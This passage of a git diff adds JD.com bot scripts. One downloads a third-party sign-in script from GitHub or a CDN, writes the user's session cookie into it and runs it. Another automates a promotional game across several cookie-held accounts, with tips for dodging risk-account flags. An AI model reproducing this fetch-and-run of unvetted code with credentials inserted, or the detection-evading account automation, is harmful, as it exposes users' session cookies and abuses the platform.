(BarkContent) { + allMessage += `【京东号 ${$.index}】: ${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n${BarkContent}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + if (!process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE || (process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE && process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE !== 'true')) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `【签到号 ${$.index}】: ${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n${BarkContent}`); + } + } + //运行完成后,删除下载的文件 + await deleteFile(resultPath);//删除result.txt + await deleteFile('./CookieSet.json') + console.log(`\n\n*****************${new Date(new Date().getTime()).toLocaleString('zh', {hour12: false})} 京东账号${$.index} ${$.nickName || $.UserName} ${$.name}完成*******************\n\n`); + } catch (e) { + console.log("京东签到脚本执行异常:" + e); + } +} +async function downFile () { + let url = ''; + await downloadUrl(); + if ($.body) { + url = 'https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js'; + } else { + url = 'https://cdn.jsdelivr.net/gh/NobyDa/Script@master/JD-DailyBonus/JD_DailyBonus.js'; + } + try { + const options = { } + if (process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + await download(url, outPutUrl, options); + console.log(`JD_DailyBonus.js文件下载完毕\n\n`); + } catch (e) { + console.log("JD_DailyBonus.js 文件下载异常:" + e); + } +} + +async function changeFile (content) { + console.log(`开始替换变量`) + let newContent = content.replace(/var OtherKey = `.*`/, `var OtherKey = \`[{"cookie":"${cookie}","jrBody":"${jrBody}"}]\``); + newContent = newContent.replace(/const NodeSet = 'CookieSet.json'/, `const NodeSet = '${NodeSet}'`) + if (process.env.JD_BEAN_STOP && process.env.JD_BEAN_STOP !== '0') { + newContent = newContent.replace(/var stop = '0'/, `var stop = '${process.env.JD_BEAN_STOP}'`); + } + const zone = new Date().getTimezoneOffset(); + if (zone === 0) { + //此处针对UTC-0时区用户做的 + newContent = newContent.replace(/tm\s=.*/, `tm = new Date(new Date().toLocaleDateString()).getTime() - 28800000;`); + } + try { + await fs.writeFileSync(JD_DailyBonusPath, newContent, 'utf8'); + console.log('替换变量完毕'); + } catch (e) { + console.log("京东签到写入文件异常:" + e); + } +} +async function deleteFile(path) { + // 查看文件result.txt是否存在,如果存在,先删除 + const fileExists = await fs.existsSync(path); + // console.log('fileExists', fileExists); + if (fileExists) { + const unlinkRes = await fs.unlinkSync(path); + // console.log('unlinkRes', unlinkRes) + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function downloadUrl(url = 'https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js') { + return new Promise(resolve => { + const options = { url, "timeout": 10000 }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + console.log(`检测到您当前网络环境不能访问外网,将使用jsdelivr CDN下载JD_DailyBonus.js文件`); + await $.http.get({url: `https://purge.jsdelivr.net/gh/NobyDa/Script@master/JD-DailyBonus/JD_DailyBonus.js`, timeout: 10000}).then((resp) => { + if (resp.statusCode === 200) { + let { body } = resp; + body = JSON.parse(body); + if (body['success']) { + console.log(`JD_DailyBonus.js文件 CDN刷新成功`) + } else { + console.log(`JD_DailyBonus.js文件 CDN刷新失败`) + } + } + }); + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + // const file = 'jd_bean_sign.js'; + // fs.access(file, fs.constants.W_OK, (err) => { + // resultPath = err ? '/tmp/result.txt' : resultPath; + // JD_DailyBonusPath = err ? '/tmp/JD_DailyBonus.js' : JD_DailyBonusPath; + // outPutUrl = err ? '/tmp/' : outPutUrl; + // NodeSet = err ? '/tmp/CookieSet.json' : NodeSet; + // resolve() + // }); + //判断是否是云函数环境。原函数跟目录目录没有可写入权限,文件只能放到根目录下虚拟的/temp/文件夹(具有可写入权限) + resultPath = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/result.txt' : resultPath; + JD_DailyBonusPath = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/JD_DailyBonus.js' : JD_DailyBonusPath; + outPutUrl = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/' : outPutUrl; + NodeSet = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/CookieSet.json' : NodeSet; + resolve() + }) +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_beauty.js b/jd_beauty.js new file mode 100644 index 0000000..6d7675f --- /dev/null +++ b/jd_beauty.js @@ -0,0 +1,726 @@ +/* +美丽研究院 +修复+尽量优化为同步执行,减少并发,说不定就减小黑号概率了呢? +https://raw.githubusercontent.com/aTenb/jdOpenSharePicker/master/jd_beautyStudy.js +更新时间:2021-12-03 +活动入口:京东app首页-美妆馆-底部中间按钮 +20 7,12,19 * * * jd_beautyStudy.js, tag=美丽研究院, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + */ +const $ = new Env('美丽研究院'); +const notify = $.isNode() ? require('./sendNotify') : ''; +console.log('已废弃,能不能用随缘!!!') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const WebSocket = require('ws'); +const UA = process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT) +$.accountCheck = true; +$.init = false; +let cookiesArr = [], cookie = '', message; +function oc(fn, defaultVal) { + try { + return fn() + } catch (e) { + return undefined + } +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!$.isNode()) { + $.msg($.name, 'iOS端不支持websocket,暂不能使用此脚本', ''); + return + } + helpInfo = [] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.token = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await accountCheck(); + await $.wait(10000) + if ($.accountCheck) { + await jdBeauty(); + } + if ($.accountCheck) { + helpInfo = $.helpInfo; + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function accountCheck() { + $.hasDone = false; + console.log(`***检测账号是否黑号***`); + await getIsvToken() + await $.wait(10000) + await getIsvToken2() + await $.wait(10000) + await getToken() + await $.wait(10000) + if (!$.token) { + console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + $.accountCheck = false; + return + } + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`, null, { + headers: { + 'user-agent': UA, + } + }); + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + await $.wait(20000); + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`); + await $.wait(20000); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + if (vo.action === "_init_") { + let vo = JSON.parse(e.data); + if (vo.msg === "风险用户") { + $.accountCheck = false; + // $.init=true; + client.close(); + console.log(`${vo.msg},跳过此账号`) + } + } else if (vo.action === "get_user") { + // $.init=true; + $.accountCheck = true; + client.close(); + console.log(`${vo.msg},账号正常`); + } + } + client.onclose = (e) => { + $.hasDone = true; + console.log('服务器连接关闭\n'); + }; + } +} + +async function jdBeauty() { + $.hasDone = false + await mr() + while (!$.hasDone) { + await $.wait(10000) + } + await showMsg(); +} + +async function mr() { + $.coins = 0 + let positionList = ['b1', 'h1', 's1', 'b2', 'h2', 's2'] + $.tokens = [] + $.pos = [] + $.helpInfo = [] + $.needs = [] + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`,null,{ + headers:{ + 'user-agent': UA, + } + }) + console.log(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + await $.wait(10000); + client.send(`{"msg":{"type":"action","args":{"source":"meizhuangguandibudaohang"},"action":"stats"}}`) + await $.wait(10000); + while (!$.init) { + client.send(`ping`) + await $.wait(10000); + } + console.log(`\n========生产任务相关========\n`) + client.send(`{"msg":{"type":"action","args":{},"action":"get_produce_material"}}`) + await $.wait(20000); + // 获得正在生产的商品信息 + client.send('{"msg":{"type":"action","args":{},"action":"product_producing"}}') + await $.wait(20000); + // 获得可生成的商品列表 + client.send(`{"msg":{"type":"action","args":{"page":1,"num":10},"action":"product_lists"}}`) + await $.wait(20000); + // 获得原料生产列表 + for (let pos of positionList) { + client.send(`{"msg":{"type":"action","args":{"position":"${pos}"},"action":"produce_position_info_v2"}}`) + await $.wait(20000); + } + console.log(`\n========日常任务相关========`) + client.send(`{"msg":{"type":"action","args":{},"action":"check_up"}}`) + await $.wait(20000); + if($.check_up){ + //收集 + client.send(`{"msg":{"type":"action","args":{},"action":"collect_coins"}}`); + await $.wait(20000); + //兑换 + client.send(`{"msg":{"type":"action","args":{},"action":"get_benefit"}}`) + await $.wait(50000); + //最后做时间最久的日常任务 + client.send(`{"msg":{"type":"action","args":{},"action":"shop_products"}}`) + await $.wait(20000); + } + }; + client.onclose = () => { + console.log(`本次运行获得美妆币${$.coins}`) + console.log('服务器连接关闭'); + $.init = true; + $.hasDone = true; + for (let i = 0; i < $.pos.length && i < $.tokens.length; ++i) { + $.helpInfo.push(`{"msg":{"type":"action","args":{"inviter_id":"${$.userInfo.id}","position":"${$.pos[i]}","token":"${$.tokens[i]}"},"action":"employee"}}`) + } + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + await $.wait(Math.random()*2000+500); + console.log(`\n开始任务:"${JSON.stringify(vo.action)}`); + switch (vo.action) { + case "get_ad": + console.log(`当期活动:${vo.data.screen.name}`) + if (vo.data.check_sign_in === 1) { + // 去签到 + console.log(`去做签到任务`) + client.send(`{"msg":{"type":"action","args":{},"action":"sign_in"}}`) + await $.wait(20000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":1,"channel":2,"source_app":2}}}`) + await $.wait(20000); + } + break + case "get_user": + $.userInfo = vo.data + $.total = vo.data.coins + if ($.userInfo.newcomer === 0) { + console.log(`去做新手任务`) + for (let i = $.userInfo.step; i < 15; ++i) { + client.send(`{"msg":{"type":"action","args":{},"action":"newcomer_update"}}`) + await $.wait(20000); + } + } else + $.init = true; + $.level = $.userInfo.level; + console.log(`当前美妆币${$.total},用户等级${$.level}`); + break; + case "check_up": + //获得当前任务状态 + $.taskState = vo.data + console.log($.taskState) + $.check_up = true + // 6-9点签到 + //for (let check_up of vo.data.check_up) { + // if (check_up['receive_status'] !== 1) { + // console.log(`去领取第${check_up.times}次签到奖励`) + // client.send(`{"msg":{"type":"action","args":{"check_up_id":${check_up.id}},"action":"check_up_receive"}}`) + // } else { + // console.log(`第${check_up.times}次签到奖励已领取`) + // } + // } + break + case "shop_products": + let count = $.taskState.shop_view.length; + if (count < $.taskState.daily_shop_follow_times) console.log(`\n去做关注店铺任务\n`); + for (let i = 0; i < vo.data.shops.length && count < $.taskState.daily_shop_follow_times; ++i) { + const shop = vo.data.shops[i]; + if (!$.taskState.shop_view.includes(shop.id)) { + count++; + console.log(`\n去做关注店铺【${shop.name}】`); + client.send(`{"msg":{"type":"action","args":{"shop_id":${shop.id}},"action":"shop_view"}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":6,"channel":2,"source_app":2,"vender":"${shop.vender_id}"}}}`); + await $.wait(5000); + } + await $.wait(10000); + } + count = $.taskState.product_adds.length; + if (count < $.taskState.daily_product_add_times && process.env.FS_LEVEL) console.log(`\n去做浏览并加购任务\n`) + for (let i = 0; i < vo.data.products.length && count < $.taskState.daily_product_add_times && process.env.FS_LEVEL; ++i) { + const product = vo.data.products[i]; + if (!$.taskState.product_adds.includes(product.id)) { + count++; + console.log(`\n去加购商品【${product.name}】`); + client.send(`{"msg":{"type":"action","args":{"add_product_id":${product.id}},"action":"add_product_view"}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":9,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":5,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + await $.wait(5000); + } + await $.wait(10000); + } + for (let i = $.taskState.meetingplace_view; i < $.taskState.mettingplace_count; ++i) { + console.log(`去做第${i + 1}次浏览会场任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"meetingplace_view"}}`) + await $.wait(10000); + } + if ($.taskState.today_answered === 0) { + console.log(`去做每日问答任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_question"}}`) + await $.wait(10000); + } + break + case 'newcomer_update': + if (vo.code === '200' || vo.code === 200) { + console.log(`第${vo.data.step}步新手任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.step === 15) $.init = true + if (vo.data.coins) $.coins += vo.data.coins + } else { + console.log(`新手任务完成失败,错误信息:${JSON.stringify(vo)}`) + } + break + case 'get_question': + const questions = vo.data + let commit = {} + for (let i = 0; i < questions.length; ++i) { + const ques = questions[i] + commit[`${ques.id}`] = parseInt(ques.answers) + } + client.send(`{"msg":{"type":"action","args":{"commit":${JSON.stringify(commit)},"correct":${questions.length}},"action":"submit_answer"}}`) + await $.wait(10000); + break + case 'complete_task': + case 'action': + case 'submit_answer': + case "check_up_receive": + case "shop_view": + case "add_product_view": + case "meetingplace_view": + if (vo.code === '200' || vo.code === 200) { + console.log(`任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.coins) $.coins += vo.data.coins + $.total = vo.data.user_coins + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "produce_position_info_v2": + // console.log(`${Boolean(oc(() => vo.data))};${oc(() => vo.data.material_name) !== ''}`); + if (vo.data && vo.data.material_name !== '') { + console.log(`【${oc(() => vo.data.position)}】上正在生产【${oc(() => vo.data.material_name)}】,可收取 ${vo.data.produce_num} 份`) + if (new Date().getTime() > vo.data.procedure.end_at) { + console.log(`去收取${oc(() => vo.data.material_name)}`) + client.send(`{"msg":{"type":"action","args":{"position":"${oc(() => vo.data.position)}","replace_material":false},"action":"material_fetch_v2"}}`) + await $.wait(5000); + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + await $.wait(5000); + $.pos.push(oc(() => vo.data.position)) + } + } else { + if (oc(() => vo.data) && vo.data.valid_electric > 0) { + console.log(`【${vo.data.position}】上尚未开始生产`) + let ma + console.log(`$.needs:${JSON.stringify($.needs)}`); + if($.needs.length){ + ma = $.needs.pop() + console.log(`ma:${JSON.stringify(ma)}`); + } else { + ma = $.material.base[0]['items'][positionList.indexOf(vo.data.position)]; + console.log(`elsema:${JSON.stringify(ma)}`); + } + console.log(`ma booleam${Boolean(ma)}`); + if (ma) { + console.log(`去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + await $.wait(5000); + } else { + ma = $.material.base[1]['items'][positionList.indexOf(vo.data.position)] + if (ma) { + console.log(`else去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + await $.wait(5000); + } + } + } + else{ + console.log(`【${vo.data.position}】电力不足`) + } + } + break + case "material_produce_v2": + console.log(`【${oc(() => vo.data.position)}】上开始生产${oc(() => vo.data.material_name)}`) + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + await $.wait(5000); + if(oc(() => vo.data.position)){ + $.pos.push(vo.data.position) + }else{ + console.log(`not exist:${oc(() => vo.data)}`) + } + break + case "material_fetch_v2": + if (vo.code === '200' || vo.code === 200) { + console.log(`【${vo.data.position}】收取成功,获得${vo.data.procedure.produce_num}份${vo.data.material_name}\n`); + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "get_package": + if (vo.code === '200' || vo.code === 200) { + // $.products = vo.data.product + $.materials = vo.data.material + let msg = `仓库信息:` + for (let material of $.materials) { + msg += `【${material.material.name}】${material.num}份 ` + } + console.log(msg) + } else { + console.log(`仓库信息获取失败,错误信息${vo.msg}`) + } + break + case "product_lists": + let need_material = [] + if (vo.code === '200' || vo.code === 200) { + $.products = vo.data.filter(vo=>vo.level===$.level) + console.log(`========可生产商品信息========`) + for (let product of $.products) { + let num = Infinity + let msg = '' + msg += `生产【${product.name}】` + for (let material of product.product_materials) { + msg += `需要原料“${material.material.name}${material.num} 份” ` //material.num 需要材料数量 + const ma = $.materials.filter(vo => vo.item_id === material.material_id)[0] //仓库里对应的材料信息 + // console.log(`ma:${JSON.stringify(ma)}`); + if (ma) { + msg += `(库存 ${ma.num} 份)`; + num = Math.min(num, Math.trunc(ma.num / material.num)) ;//Math.trunc 取整数部分 + if(material.num > ma.num){need_material.push(material.material)}; + // console.log(`num:${JSON.stringify(num)}`); + } else { + if(need_material.findIndex(vo=>vo.id===material.material.id)===-1) + need_material.push(material.material) + //console.log(`need_material:${JSON.stringify(need_material)}`); + msg += `(没有库存)` + num = -1000 + } + } + if (num !== Infinity && num > 0) { + msg += `,可生产 ${num}份` + console.log(msg) + console.log(`【${product.name}】可生产份数大于0,去生产`) + //product_produce 产品研发里的生产 + client.send(`{"msg":{"type":"action","args":{"product_id":${product.id},"amount":${num}},"action":"product_produce"}}`) + await $.wait(10000); + } else { + console.log(msg) + console.log(`【${product.name}】原料不足,无法生产`) + } + } + $.needs = need_material + // console.log(`product_lists $.needs:${JSON.stringify($.needs)}`); + console.log(`=======================`) + } else { + console.log(`生产信息获取失败,错误信息:${vo.msg}`) + } 